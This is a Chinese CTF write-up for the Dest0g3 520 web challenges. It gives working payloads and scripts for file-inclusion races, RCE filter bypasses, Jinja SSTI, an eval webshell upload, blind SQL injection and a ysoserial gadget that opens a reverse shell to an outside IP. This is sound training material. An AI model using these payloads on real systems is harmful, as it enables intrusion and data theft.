[Dest0g3 520迎新赛] Web部分wp

phpdest

文件竞争

highlight_file(__FILE__);
require_once 'flag.php';
if(isset($_GET['file'])) {
  require_once $_GET['file'];
}

PHP 最新版的小 Trick，require_once 包含的软链接层数较多时 once 的 hash 匹配会直接失效造成重复包含

payload:?file=php://filter/convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php

php源码分析 require_once 绕过不能重复包含文件的限制 - 安全客，安全资讯平台 (anquanke.com)

也可以通过seesion文件包含

import requests
import io
import threading
url = "http://a44e2fb2-5cb3-4f96-a03f-9657dedc9a39.node4.buuoj.cn:81/"
sessionID = "flag"
data = {"cmd": "system('cat flag.php');"}
def write(session):
    while True:
        f = io.BytesIO(b'a'*1024*50)
        resp = session.post(url=url,data={'PHP_SESSION_UPLOAD_PROGRESS':''},files={'file':('flag.txt',f)},cookies={'PHPSESSID':sessionID})
def read(session):
    while True:
        resp = session.post(url='http://a44e2fb2-5cb3-4f96-a03f-9657dedc9a39.node4.buuoj.cn:81/?file=/tmp/sess_flag',data=data)
        if 'flag.txt' in resp.text:
            print(resp.text)
            event.clear()
        else:
            print("=========retry==========")
if __name__ == "__main__":
    event = threading.Event()
    with requests.session() as session:
        for i in range(1,5):
            threading.Thread(target=write, args=(session,)).start()
        for i in range(1,5):
            threading.Thread(target=read, args=(session,)).start()
    event.set()

EasyPHP

highlight_file(__FILE__);
include "fl4g.php";
$dest0g3 = $_POST['ctf'];
$time = date("H");
$timme = date("d");
$timmme = date("i");
if(($time > "24") or ($timme > "31") or ($timmme > "60")){
    echo $fl4g;
}else{
    echo "Try harder!";
}
set_error_handler(
    function() use(&$fl4g) {
        print $fl4g;
    }
);
$fl4g .= $dest0g3;
?> Try harder!

设置了一个错误处理函数，只需要让他报错就能输出flag，这里用数组绕过即可

payload:

ctf[]=123

SimpleRCE

法一

hex2bin 绕过，大部分读取文件函数都过滤了，后来测试出一个head

aaa=hex2bin('73797374656d')('head /f*')；

法二

取反绕过

fwrite(STDOUT,'[+]your function: ');

$system=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));

fwrite(STDOUT,'[+]your command: ');

$command=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));

echo '[*] (~'.urlencode(~$system).')(~'.urlencode(~$command).');';

payload

aaa=(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%D0%99%D5);

EasySSTI

过滤的很死所以肯定要用set构造了，较以往过滤这里多过滤了空格和点，但后来发现该题的检测方式是只对payload传入的内容进行检测，所以过滤空格话可以用%0a代替，剩下的就是随着报错随着构造了。

{%%0aset%0apo=dict(po=a,p=a)|join%}
{%%0aset%0axiahuaxian=(lipsum|string|list)|attr(po)(18)%0a%}
{%%0aset%0agb=(xiahuaxian,xiahuaxian,dict(glo=a,bals=a)|join,xiahuaxian,xiahuaxian)|join%0a%}
{%%0aset%0aget=dict(get=a)|join%}{%%0aset%0ao=dict(o=a,s=a)|join%0a%}
{%%0aset%0apo=dict(po=a,pen=a)|join%}
{%%0aset%0acat=dict(cat=a)|join%}
{%%0aset%0aid=dict(index=a)|join%}
{%%0aset%0abin=(xiahuaxian,xiahuaxian,dict(buil=a,tins=a)|join,xiahuaxian,xiahuaxian)|join%0a%}
{%%0aset%0acr=dict(ch=a,r=a)|join%}
{%%0aset%0achr=(lipsum|attr(gb))|attr(get)(bin)|attr(get)(cr)%0a%}
{%%0aset%0axiegang=chr(47)%}
{%%0aset%0ard=dict(re=a,ad=a)|join%}
{%%0aset%0aspace=chr(32)%0a%}
{%%0aset%0ashell=(cat,space,xiegang,dict(flag=a)|join)|join%0a%}

{%print(lipsum|attr(gb)|attr(get)(o)|attr(po)(shell)|attr(rd)())%}

funny_upload

对文件类型进行了检测，改为jpg文件后，又对文件内容进行了检测不能有

1.jpg

PD9waHAgZXZhbCgkX1BPU1RbYV0pOz8+

.htaccess

SetHandler application/x-httpd-php
php_value auto_append_file "php://filter/convert.base64-decode/resource=1.jpg

上传.htaccess时还有个mime类型检测，上传成功后蚁剑链接即可

Really Easy SQL

hint黑名单：

$black_list=array('union','updatexml','order','by','substr',' ','and','extractvalue',';','sleep','join','alter','handler','char','+','/','like','regexp','offset','sleep','case','&','-','hex','%0','load');

查看源码发现是个钓鱼网站，输入什么都是没有回显的，所以就要尝试时间盲注，但过滤了sleep(),可以用benchmark(1000000,md5(1))代替，过滤空格用%0a或者括号都可

经测试延时在2秒左右

poc

import requests
import time
url="http://fec87fc0-85b0-4969-a9d2-7328b18dc98b.node4.buuoj.cn:81/"
flag=''
for i in range(1,50):
    m=32
    n=127
    while 1:
        mid=(m+n)//2

        #payload="0'or(if((ascii(mid((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),{},1))<{}),benchmark(2000000,md5(1)),0))or'".format(i,mid) #flaggg,user
        #payload="0'or(if((ascii(mid((select(group_concat(column_name))from(information_schema.columns)where(table_name='flaggg')),{},1))<{}),benchmark(2000000,md5(1)),0))or'".format(i,mid) #cmd
        payload="0'or(if((ascii(mid((select(cmd)from(flaggg)),{},1))<{}),benchmark(2000000,md5(1)),0))or'".format(i,mid)
        data={
        'username': 'a',
        'password': payload
        }
        print(data)
        try:
           r = requests.post(url=url,data=data,timeout=1.5)
           m=mid
        except:
            n=mid
        if(m+1==n):
            flag+=chr(m)
            print(flag)
            break
        time.sleep(0.2)
    time.sleep(1)

easysql

比上题多过滤了大小于号，所以用=代替，但是等号代替后应该就不能用二分法了，所以这里逆向的逐个遍历(因为大部分字符 都ascii码都在100左右，所以从128开始应该能快一些)

timeout用的是1.8，因为benchmark有较大的误差，所以对时间的设置上比较严格，最后time.sleep也是为了减小误差

import requests
import time
url="http://48fb7dba-6dd2-41d3-84c2-45b677f54cec.node4.buuoj.cn:81/"
flag=''
for i in range(1,50):
    a=0
    for j in range(128,32,-1):
        #payload="0'or(if((ascii(mid((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),{},1))={}),benchmark(2000000,md5(1)),0))or'".format(i,j) #flaggg,user
        #payload="0'or(if((ascii(mid((select(group_concat(column_name))from(information_schema.columns)where(table_name='flaggg')),{},1))={}),benchmark(2000000,md5(1)),0))or'".format(i,j) #cmd
        payload="0'or(if((ascii(mid((select(cmd)from(flaggg)),{},1))={}),benchmark(2000000,md5(1)),0))or'".format(i,j)
        data={
        'username': 'a',
        'password': payload
        }
        print(data)
        try:
           r = requests.post(url=url,data=data,timeout=1.8)
        except:
            flag+=chr(j)
            print(flag)
            break
        if(j==33):
            a=1
        time.sleep(0.5)
    if(a==1):
        print(flag)
        break
    time.sleep(1)

EzSerial

弱类型账号密码admin，打开后可以看到是个jsp写的站，就考虑到java反序列化

抓包后可以看到user处是base64加密后的序列化文件，所以猜测这里就是序列化入口

经测试CC5/CC6都能打通，https://ares-x.com/tools/runtime-exec/，进行反弹shell编码

编好后直接用ysoserial打就行，这里用的是CC5的

java -jar ysoserial-0.0.5.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80OS4yMzIuNzYuMTQvNDAwMCAwPiYx}|{base64,-d}|{bash,-i}" > 1.txt

得到字节码文件后进行下base64编码

传参成功反弹shell

也可以用脚本打

from urllib.parse import quote
import requests
import os
import base64
import time

# payloads = ['BeanShell1', 'Clojure', 'CommonsBeanutils1', 'CommonsCollections1', 'CommonsCollections2', 'CommonsCollections3', 'CommonsCollections4', 'CommonsCollections5', 'CommonsCollections6', 'Groovy1', 'Hibernate1', 'Hibernate2', 'JBossInterceptors1', 'JRMPClient', 'JavassistWeld1', 'Jdk7u21', 'MozillaRhino1', 'Myfaces1', 'ROME', 'Spring1', 'Spring2']
payloads = ['CommonsCollections5']

for payload in payloads:
    command = os.popen(
        'java -jar ysoserial-0.0.5.jar ' + payload + ' "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80OS4yMzIuNzYuMTQvNDAwMCAwPiYx}|{base64,-d}|{bash,-i}" > ' + payload + '.txt')
    command.close()
    cmd = os.popen('certutil -f -encode ' + payload + '.txt ' + payload + '_encode.txt')
    cmd.close()
    # result = result.replace('\n','')

    with open(payload + '_encode.txt', 'r') as f:
        ff = f.read()

    ff = ff.replace('\n', '')
    ff = ff.replace('-----BEGIN CERTIFICATE-----', '')
    ff = ff.replace('-----END CERTIFICATE-----', '')
    print(payload + '\n')
    cookies = {'JSESSIONID': '0D68982C79D25AFCC0CC7C8137C8FB1D', 'user': ff}

    rep = requests.get(url="http://62bb86d0-57cf-4937-acce-b0a774be75d6.node4.buuoj.cn:81/admin/", cookies=cookies)

    # time.sleep(2)
    print(rep.text)